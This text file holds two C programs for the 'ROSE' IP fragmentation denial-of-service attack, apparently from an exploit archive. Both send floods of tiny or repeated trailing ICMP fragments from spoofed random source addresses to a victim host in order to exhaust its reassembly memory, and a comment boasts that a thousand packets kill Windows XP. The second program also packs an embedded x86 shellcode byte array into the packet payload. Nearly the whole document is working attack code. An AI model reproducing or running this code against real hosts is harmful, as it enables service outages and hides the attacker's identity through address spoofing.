RoseAttackv2.txt

`/***  
ROSE attack (variation 2) (chuck (at) lemure.net)  
  
Discovered by:  
gandalf (at) digital.net  
  
code modified from large IGMP attack by:  
Kox by Coolio (coolio (at) k-r4d.com)  
  
Sends out small IP fragments totalling up to a large  
ICMP packet. Then repeatedly sends last IP Fragment forcing  
reassembly code to traverse to last IP fragment in order to  
do a free() followed by a malloc(). Or so it seems.  
  
Reportedly works for TCP / UDP as well, since this is  
a IP layer attack.  
  
  
***/  
  
/* just a thousand kills win XP */  
  
#define NUM_PACKETS 100  
  
  
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <netdb.h>  
#include <string.h>  
#include <errno.h>  
#include <pwd.h>  
#include <time.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/utsname.h>  
#include <netinet/in.h>  
#include <netinet/ip.h>  
#include <netinet/ip_icmp.h>  
  
#include <netinet/ip_icmp.h>  
  
void usage(char *arg)  
{  
printf("Rose attack\n");  
printf("Usage: %s <victim> [source]\n", arg);  
printf("If source not specified, will send out from random ip's\n");  
exit(1);  
}  
  
  
unsigned int randip()  
{  
struct hostent *he;  
struct sockaddr_in sin;  
char *buf = (char *)calloc(1, sizeof(char) * 16);  
  
sprintf(buf, "%d.%d.%d.%d",  
(random()%191)+23,  
(random()%253)+1,  
(random()%253)+1,  
(random()%253)+1);   
  
return inet_addr(buf);  
  
}  
  
unsigned short in_cksum(unsigned short *buh, int len)  
{  
register long sum = 0;  
unsigned short oddbyte;  
register unsigned short answer;  
  
while(len > 1) {  
sum += *buh++;  
len -= 2;  
}  
  
if(len == 1) {  
oddbyte = 0;  
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;  
sum += oddbyte;  
}  
  
sum = (sum >> 16) + (sum & 0xFFFF);  
sum += (sum >> 16);  
answer = ~sum;  
return answer;  
}  
  
int fire_away(struct sockaddr_in *victim, unsigned long src)  
{  
int SMALLICMP = 1;  
unsigned char *pkt;  
struct iphdr *ip;  
struct igmphdr *igmp;  
struct icmphdr *icmp_pkt;  
struct utsname *un;  
struct passwd *p;  
int idList[NUM_PACKETS];  
unsigned long j;  
int i, s;  
int id = (random() % 40000) + 500;  
for (i=0;i<NUM_PACKETS;i++)  
idList[i]=(random() % 40000) + 500;  
  
  
  
pkt = (unsigned char *)calloc(1, SMALLICMP   
+ sizeof(struct iphdr) +  
sizeof(struct icmphdr));  
ip = (struct iphdr *)pkt;  
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));  
ip->version = 4;  
ip->ihl = (sizeof *ip) / 4;  
ip->ttl = 255;  
ip->tot_len = htons(SMALLICMP);  
ip->protocol = 1;  
ip->id = htons(id);  
ip->frag_off = htons(IP_MF);  
ip->saddr = src;  
ip->daddr = victim->sin_addr.s_addr;  
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));  
  
  
icmp_pkt->type = ICMP_ECHO;  
icmp_pkt->code = 0;  
icmp_pkt->checksum = 1000;  
icmp_pkt->un.echo.id = random() % 255;  
icmp_pkt->un.echo.sequence = random() % 255;  
  
for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;  
i < SMALLICMP; i++){  
pkt[i] = random() % 255;  
  
}  
  
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {  
perror("error: socket()");  
return 1;  
}  
  
printf(" Sending out series of small fragments\r\n");  
  
for(i=0;i<NUM_PACKETS;i++){  
ip->id = htons(idList[i]);  
for (j=0; j<8170; j += SMALLICMP + 1){   
ip->frag_off = htons(j | IP_MF);  
if(sendto(s, pkt,  
SMALLICMP + sizeof(struct iphdr),   
0, (struct sockaddr *)victim,  
sizeof(struct sockaddr_in)) == -1) {   
perror("error: sendto()");  
return 1;  
}  
}  
}  
  
printf(" Sending out tailing fragments\r\n");  
/* big frag at end... */  
/* sending a large amount of the end fragments over and  
over. This is definitely overkill, but seems to work */  
for (j=0;j<9999*NUM_PACKETS;j++){  
for(i=0;i<NUM_PACKETS;i++){  
ip->id=htons(idList[i]);  
ip->frag_off = htons(8190|IP_MF);  
//ip->frag_off = htons(8100 | IP_MF);  
sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,   
0, (struct sockaddr *)victim,   
sizeof(struct sockaddr_in));  
/* if you do sleep, CPU usage goes way down. But memory usage  
still creeps upward */  
//usleep(100); //sleep after every trailing packet  
}  
usleep(100); //sleep after every series of NUM_PACKETS  
}  
free(pkt);  
close(s);  
return 0;  
}  
  
int main(int argc, char *argv[])  
{  
struct sockaddr_in victim;  
struct hostent *he;  
unsigned long source;  
int i;  
  
srandom(time(NULL));  
  
if(argc < 2)  
usage(argv[0]);  
  
if((he = gethostbyname(argv[1])) == NULL) {  
herror(argv[1]);  
exit(1);  
}  
  
if (argc > 2){  
source = inet_addr(argv[2]);  
}  
else {  
source = randip();  
}  
  
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);  
victim.sin_port = htons(0);  
victim.sin_family = PF_INET;  
  
printf("Sending ICMP fragments: \r\n");  
fflush(stdout);  
fire_away(&victim, source);  
if (argc < 3){  
source = randip();  
}  
  
fflush(stdout);  
printf("\nDONE\n");  
fflush(stdout);  
}  
  
  
/***  
ROSE attack ([email protected])  
  
Discovered by:  
[email protected]  
  
code modified from large IGMP attack by:  
Kox by Coolio ([email protected])  
  
  
Sends out first and last ICMP packet echo request.  
Reportedly works for TCP / UDP as well, since this is  
a IP layer attack.  
  
Eats up all available packets for fragmentation reassembly.  
  
  
***/  
  
/* just a thousand kills win XP */  
  
#define NUM_PACKETS 1000  
  
  
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <netdb.h>  
#include <string.h>  
#include <errno.h>  
#include <pwd.h>  
#include <time.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/utsname.h>  
#include <netinet/in.h>  
#include <netinet/ip.h>  
#include <netinet/ip_icmp.h>  
  
#include <netinet/ip_icmp.h>  
  
/* Figured I try sending some shell code for my random payload...  
doesn't do anything  
*/  
  
char code[] =  
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"  
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"  
"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"  
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"  
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"  
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"  
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"  
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"  
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"  
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"  
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"  
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"  
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"  
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"  
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"  
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"  
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"  
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"  
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"  
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"  
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"  
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"  
"\x5b\xc2\x08\x00";  
  
void usage(char *arg)  
{  
printf("Rose attack\n");  
printf("Usage: %s <victim> [source]\n", arg);  
printf("If source not specified, will send out from random ip's\n");  
exit(1);  
}  
  
  
unsigned int randip()  
{  
struct hostent *he;  
struct sockaddr_in sin;  
char *buf = (char *)calloc(1, sizeof(char) * 16);  
  
sprintf(buf, "%d.%d.%d.%d",  
(random()%191)+23,  
(random()%253)+1,  
(random()%253)+1,  
(random()%253)+1);   
  
  
  
return inet_addr(buf);  
  
}  
  
unsigned short in_cksum(unsigned short *buh, int len)  
{  
register long sum = 0;  
unsigned short oddbyte;  
register unsigned short answer;  
  
while(len > 1) {  
sum += *buh++;  
len -= 2;  
}  
  
if(len == 1) {  
oddbyte = 0;  
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;  
sum += oddbyte;  
}  
  
sum = (sum >> 16) + (sum & 0xFFFF);  
sum += (sum >> 16);  
answer = ~sum;  
return answer;  
}  
  
int rose(struct sockaddr_in *victim, unsigned long src)  
{  
int SMALLICMP = 1000;  
unsigned char *pkt;  
struct iphdr *ip;  
struct igmphdr *igmp;  
struct icmphdr *icmp_pkt;  
struct utsname *un;  
struct passwd *p;  
  
int i, s,j;  
int id = (random() % 40000) + 500;  
  
pkt = (unsigned char *)calloc(1, SMALLICMP);  
ip = (struct iphdr *)pkt;  
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));  
ip->version = 4;  
ip->ihl = (sizeof *ip) / 4;  
ip->ttl = 255;  
ip->tot_len = htons(SMALLICMP);  
ip->protocol = 1;  
ip->id = htons(id);  
ip->frag_off = htons(IP_MF);  
ip->saddr = src;  
ip->daddr = victim->sin_addr.s_addr;  
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));  
  
icmp_pkt->type = ICMP_ECHO;  
icmp_pkt->code = 0;  
icmp_pkt->checksum = 1000;  
icmp_pkt->un.echo.id = random() % 255;  
icmp_pkt->un.echo.sequence = random() % 255;  
  
for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;  
i < SMALLICMP; i++){  
//pkt[i] = random() % 255;  
pkt[i] = '\x00';  
}  
j=0;  
for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;  
i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356;   
i++){  
pkt[i] = code[j];  
j++;  
}  
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {  
perror("error: socket()");  
return 1;  
}  
  
if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,  
sizeof(struct sockaddr_in)) == -1) {   
perror("error: sendto()");  
return 1;  
}  
  
/* big frag at end... */  
  
ip->frag_off = htons(8100);  
//ip->frag_off = htons(8100 | IP_MF);  
sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,   
sizeof(struct sockaddr_in));  
  
free(pkt);  
close(s);  
usleep(1000);  
return 0;  
}  
  
int main(int argc, char *argv[])  
{  
struct sockaddr_in victim;  
struct hostent *he;  
unsigned long source;  
int i;  
  
srandom(time(NULL));  
  
if(argc < 2)  
usage(argv[0]);  
  
if((he = gethostbyname(argv[1])) == NULL) {  
herror(argv[1]);  
exit(1);  
}  
  
if (argc > 2){  
source = inet_addr(argv[2]);  
}  
else {  
source = randip();  
}  
  
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);  
victim.sin_port = htons(0);  
victim.sin_family = PF_INET;  
  
printf("Sending ICMP fragments: ");  
fflush(stdout);  
for(i = 0; i < NUM_PACKETS; i++)  
{  
rose(&victim, source);  
if (argc < 3){  
source = randip();  
}  
printf("%d\n", i);  
fflush(stdout);  
}  
printf("\nDONE\n");  
fflush(stdout);  
}  
  
  
`